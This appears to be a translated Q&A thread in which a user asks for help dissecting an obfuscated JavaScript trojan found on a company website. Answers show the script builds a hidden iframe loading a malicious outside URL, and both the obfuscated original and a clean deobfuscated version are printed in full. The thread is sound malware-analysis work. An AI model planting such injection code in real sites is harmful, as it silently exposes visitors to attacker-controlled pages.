2010-07-20 8 views
7

Recientemente estuve jugando con JavaScript y comencé a considerar que no podía encontrar un fragmento de JavaScript que no pudiera depurar.JavaScript trojan dissection

Bueno, estuve gratamente sorprendido y enojado hoy cuando descubrimos varios troyanos de redireccionamiento de JavaScript en el sitio web de nuestra compañía.

La mayor parte del código que encontramos me permitía diseccionar fácilmente y usaba el escape estándar para oscurecer la función de códigos.

Pero entre el código encontramos que el siguiente código me ha dejado perplejo por lo que está haciendo. (La única parte que parece funcionar es que está reemplazando algunos de los parámetros).

¿Alguien podría tener la amabilidad de diseccionar el siguiente código para mí? Me gustaría saber exactamente lo que está pasando ...

<script> 

function yJ() {}; 
this.sMZ = "sMZ"; 
yJ.prototype = { 
    w: function() { 
     var rJ = 13390; 
     this.m = "m"; 
     this.fP = ''; 
     this.q = "q"; 
     this.oJ = ""; 
     var vS = function() { 
      return 'vS' 
     }; 
     var d = 'replace'; 
     var qB = ""; 
     x = ''; 
     var s = document; 
     var xZ = "xZ"; 
     mC = ''; 
     var dV = "dV"; 
     var b = window; 
     this.p = false; 
     this.kX = ''; 
     nP = "nP"; 
     var zE = ""; 
     this.nU = false; 
     var yV = function() { 
      return 'yV' 
     }; 
     String.prototype.gT = function (l, v) { 
      return this[d](l, v) 
     }; 
     this.pC = ''; 
     var qV = false; 
     var fPU = new Array(); 
     h = ""; 
     var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, ''); 
     var xV = 43258; 
     sT = ''; 
     var mV = ''; 
     this.wJ = "wJ"; 
     var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, ''); 
     var xB = ''; 
     wI = "wI"; 
     oT = false; 
     var nQ = 49042; 
     try { 
      zI = ''; 
      var bF = new Array(); 
      var aY = function() { 
       return 'aY' 
      }; 
      var rN = false; 
      rF = ""; 
      var cX = function() { 
       return 'cX' 
      }; 
      var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, ''); 
      this.rL = ''; 
      var vH = function() { 
       return 'vH' 
      }; 
      var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, ''); 
      yD = ""; 
      var eA = ''; 
      var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, ''); 
      vZ = ''; 
      this.bG = ""; 
      this.vL = false; 
      var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, ''); 
      gI = ''; 
      dVL = "dVL"; 
      var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, ''); 
      lH = ""; 
      kD = "kD"; 
      this.pH = false; 
      var k = 's9ric9'.gT(/[9Ni~O]/g, ''); 
      var vB = ''; 
      var kH = function() { 
       return 'kH' 
      }; 
      var qH = new Array(); 
      aD = ''; 
      this.eQ = false; 
      var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); 
      var cT = ''; 
      var kL = function() { 
       return 'kL' 
      }; 
      var bR = new Array(); 
      this.cP = 22454; 
      var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, ''); 
      lG = ''; 
      tG = 7587; 
      hV = ''; 
      this.oR = "oR"; 
      var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); 
      var dC = function() {}; 
      var eR = new Date(); 
      var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, ''); 
      uM = ""; 
      var i = function() {}; 
      this.cI = ""; 
      tU = false; 

      function qN() {}; 
      xL = 57256; 
      var c = this.a(); 
      this.eL = ''; 
      var rY = function() {}; 
      fG = false; 
      nO = false; 
      this.j = ""; 
      this.iQ = 5330; 
      var sY = function() {}; 
      var u = document[n](bQ); 
      this.tH = false; 
      zX = ""; 
      u[r][o] = dH; 
      var kV = "kV"; 
      pN = ''; 
      var yG = new Array(); 
      this.nOE = 818; 
      u[z](k, c); 
      this.bQK = ""; 
      var yU = 15629; 
      var sM = new Array(); 
      var eY = "eY"; 
      var qP = ''; 
      s[y][e](u); 
      var lU = "lU"; 
      var zR = false; 
      var xS = ""; 
      iX = 34795; 

      function pO() {}; 
      this.gM = ""; 
     } catch (g) { 
      var xI = false; 
      this.gO = false; 
      this.iZ = false; 
      this.iU = false; 
      var mQ = new Date(); 
      var qF = function() {}; 
      s.write(f); 
      var tS = "tS"; 

      function aR() {}; 
      nA = "nA"; 
      var xT = new Date(); 
      mZ = false; 
      var gN = new Array(); 
      var wE = this; 
      var eB = 3562; 
      this.qE = "qE"; 
      this.cS = false; 
      this.vK = false; 
      qEJ = false; 
      this.hW = false; 
      b[sV](function() { 
       function bI() {}; 
       hJ = ""; 
       var kVQ = "kVQ"; 
       var iG = ""; 
       var eBS = new Array(); 
       rA = ""; 
       wE.w(); 
       jY = ""; 
       var hB = "hB"; 
       var iZF = ''; 
       qY = ""; 
       jYG = ""; 
       uK = 30969; 
       var qD = "qD"; 
      }, 326); 
      this.qC = ""; 
      var aX = function() {}; 
      var cN = ""; 
     } 
     gB = false; 
     var fF = false; 
     this.hX = false; 
    }, 
    a: function() { 
     rH = "rH"; 
     this.bV = ''; 
     var qW = ""; 
     return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, ''); 
     var sMS = new Array(); 
     this.wL = false; 
     uS = "uS"; 

     function pI() {}; 
    } 
}; 
var uI = false; 
var kN = new yJ(); 
this.aQ = "aQ"; 
kN.w(); 
hT = 15101; 

</script> 
+3

acabo de leer las primeras 30 letras del código, una bofetada a mí mismo, hizo un café, se sentó y se dio cuenta que hay una barra de desplazamiento – Marko

Respuesta

17

Se incrusta http://fancycake.xxx/something, y esta es la línea en la que se puede ver:

return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, ''); 

Ves cómo los caracteres impares, cuando se sacó de esa cadena, forma la URL. No ejecuté esto, así que no estoy seguro de en qué condiciones lo hace, pero se puede ver que String.replace ha sido renombrado como String.gT y se le está pasando una expresión regex frente a los caracteres que hacen que la cadena se ofusque. Si se aplica el mismo método, el desplume caracteres impares, se puede ver que hay un iframe oculto, algo de JavaScript controladores de eventos, setAttribute, etc:

var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); 
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); 
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, ''); 

Esto es cómo es alias String.replace:

var d = 'replace'; 

... 
String.prototype.gT = function (l, v) { 
    return this[d](l, v) 
}; 

En el contexto de esa función, this es la cadena en la que se llama gT y d es la cadena replace. En el prototipo de una cadena, this['replace'] devuelve el método replace(), que luego se llama con los dos argumentos a gT. El resultado es luego devuelto.

actualización

que transforma el guión de esta manera:

  1. sustituido todos string.gT() llamadas con sus formas simples.
  2. Se han eliminado las variables a las que no se hace referencia.
  3. Gave funciona con algunos nombres de sentido común.

Este es el resultado, que debe ser bastante claro cómo funciona ahora:

function FancyCake() {}; 
FancyCake.prototype = { 
    embed: function() { 
     var d = 'replace'; 
     var s = document; 
     var b = window; 
     var sV = 'setTimeout'; 
     var f = "<html ><head ></head><body ></body></html>"; 
     try { 
      zI = ''; 
      var bF = new Array(); 
      var y = 'body'; 
      var r = 'style'; 
      var bQ = 'iframe'; 
      var t = 'write'; 
      var n = 'createElement'; 
      var k = 'src'; 
      var z = 'setAttribute'; 
      var dH = 'hidden'; 
      var o = 'visibility'; 
      var e = 'appendChild'; 
      var c = this.getUrl(); 
      var u = document[n](bQ); 
      u[r][o] = dH; 
      u[z](k, c); 
      s[y][e](u); 
     } catch (e) { 
      console.error(e); 
      s.write(f); 
      var cake = this; 
      b[sV](function() { 
       cake.embed(); 
      }, 326); 
     } 
    }, 
    getUrl: function() { 
     return "http://fancycake.net/.ph/1/"; 
    } 
}; 

var cake = new FancyCake(); 
cake.embed(); 
+1

+ para explicación –

+0

No se me ocurrió que lo que estaba viendo era regex entre todo ese lío. Lo que no entiendo ahora es, ok, obtengo la idea básica de la palabra clave prototipo, pero ¿cómo devuelve esto [d] (l, v) el resultado de una anulación del patrón de expresión regex? o bien, ¿qué están tratando de lograr en esa línea de código? PD: Gracias por la explicación porque, obviamente, lo metí en un depurador pero aún me costó entenderlo. –

+0

He actualizado la respuesta para incluir una explicación sobre el reemplazo. –

4

Se añade un iFrame invisible a la siguiente dirección URL de su sitio web:

<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe> 

El fancycake página web está marcado como atacado y maliciosa en Firefox

+0

¿Cómo se enteró? –

+1

ejecutándolo en un depurador de JavaScript y viendo lo que estaba sucediendo. Después de esto, navegué por la URL iframes y vi la advertencia de Firefox :) – Erik

1

Ejecútelo en un depurador de JavaScript; eventualmente, el código se descompilará e intentará comenzar. Sugiero usar la última versión de FireFox tal vez en una caja Linux para estar seguro.